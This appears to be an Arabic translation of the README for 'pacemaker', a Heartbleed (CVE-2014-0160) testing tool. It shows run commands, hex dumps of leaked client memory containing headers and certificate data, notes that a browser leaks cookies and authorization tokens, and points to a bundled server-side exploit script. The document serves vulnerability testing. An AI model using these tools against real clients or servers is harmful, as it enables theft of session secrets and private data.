
Heartbleed (CVE-2014-0160) استغلال العميل
يحاول استغلال العملاء المعرّضين لثغرة Heartbleed (CVE-2014-0160). متوافق مع Python 2 و 3.
شغّل الخادم:
python pacemaker.py
في عميلك، افتح https://localhost:4433/ (استبدل اسم المضيف إذا لزم الأمر). على سبيل المثال:
curl https://localhost:4433/
سيفشل العميل دائمًا في الاتصال:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
إذا لم تكن معرّضًا للخطر، سيُخرج الخادم شيئًا مثل:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
أما إذا كنت معرّضًا للخطر، فسترى شيئًا مثل:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
الأسطر اللاحقة الممتلئة ببايتات NUL تُدمج في سطر واحد يظهر فيه * بدلًا منها (كما في أداة xxd).
مثال تتسرّب فيه ذاكرة أكثر «إثارة للاهتمام» باستخدام
wget -O /dev/null https://google.com https://localhost:4433:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
يمكن لأي من طرفي اتصال TLS إرسال نبضات TLS. بعد اكتمال المصافحة، تكون هذه النبضات مشفّرة. لكن يبدو أن OpenSSL يسمح برسائل نبض قبل اكتمال المصافحة. هذه النبضات (فوق طبقة السجلات) غير مشفّرة إطلاقًا!
هذا يجعل استغلال الثغرة على العملاء أمرًا سهلاً للغاية:
لاحظ أنّه لا حاجة إلى أيّ شهادات، إذ يتم قبول النبضات قبل تبادل أي شهادات أو مفاتيح تشفير. وبما أن طول طلبات النبض لا يُفحص، يمكن قراءة ما يصل إلى 64 kiB من ذاكرة العميل.
يقوم pacemaker بتنفيذ الخطوات أعلاه ويفترض أنّ العميل غير معرّض للخطر إذا أسفرت الخطوة 3 عن بيانات غير رسائل التنبيه (Alerts). إذا لزم الأمر لبعض البروتوكولات (مثل SMTP مع STARTTLS)، يتم تبادل بيانات إضافية قبل بدء مصافحة TLS.
شغّل ./pacemaker.py -h لمزيد من الخيارات. من الأرجح أنّ أهم الخيارات هي -t (--timeout) و-x (--count). مهلة الانتظار الافتراضية هي 3 ثوانٍ، وهو ما ينبغي أن يكفي لاستجابة معظم العملاء (إلا إذا كان هناك رابط قمر صناعي أو ما شابه).
مثال لتكون أكثر انتظارًا لكل نبضة (5 ثوانٍ) والحصول على أربع استجابات نبض:
./pacemaker.py -t 5 -x 4
نظريًا، قد تستغرق النبضات الآن عشرين ثانية، لكنك عمليًا ستحصل على استجابات أسرع بكثير.
اختُبر العملاء التاليون باستخدام OpenSSL 1.0.1f على Arch Linux وتسربت ذاكرتهم قبل المصافحة:
links مثال رائع يوضح تأثير هذه الثغرة على العملاء. إنه متصفح نصي يسرّب تفاصيل تشمل الترويسات (الكوكيز، ورموز التفويض) ومحتويات الصفحات.
pacemaker مرخّص بموجب رخصة MIT. راجع ملف LICENSE لمزيد من التفاصيل.
هذا تنفيذ يستخدم pacemaker لصياغة الحزم. له قيدٌ مفاده أنّ الطلبات المتكررة تحتاج إلى إنشاء اتصال جديد لكل محاولة، لأن الخادم يعيد ضبط الاتصال فورًا بعد أول استجابة نبض.
هذا القيد ناتج عن النهج المتبع؛ فإذا كان العميل يُكمل المصافحة أيضًا، يمكن إرسال العديد من المصافحات المشفّرة دون فشل الاتصال.
heartbleed.py جزء من pacemaker، لذلك يخضع لشروط الترخيص نفسها.
اختُبرت الخوادم التالية باستخدام OpenSSL 1.0.1f على Arch Linux (ما لم يُذكر خلاف ذلك):
openssl s_server (HTTPS)يحتوي هذا المستودع أيضًا على نسخة عاملة تستهدف الخوادم. ssltest.py من إنشاء Jared Stafford ([email protected])، وكل الفضل يعود إليه! تم استرجاعه من http://s3.jspenguin.org/ssltest.py.
في الوقت الحالي، البرنامج النصي متوافق فقط مع Python 2.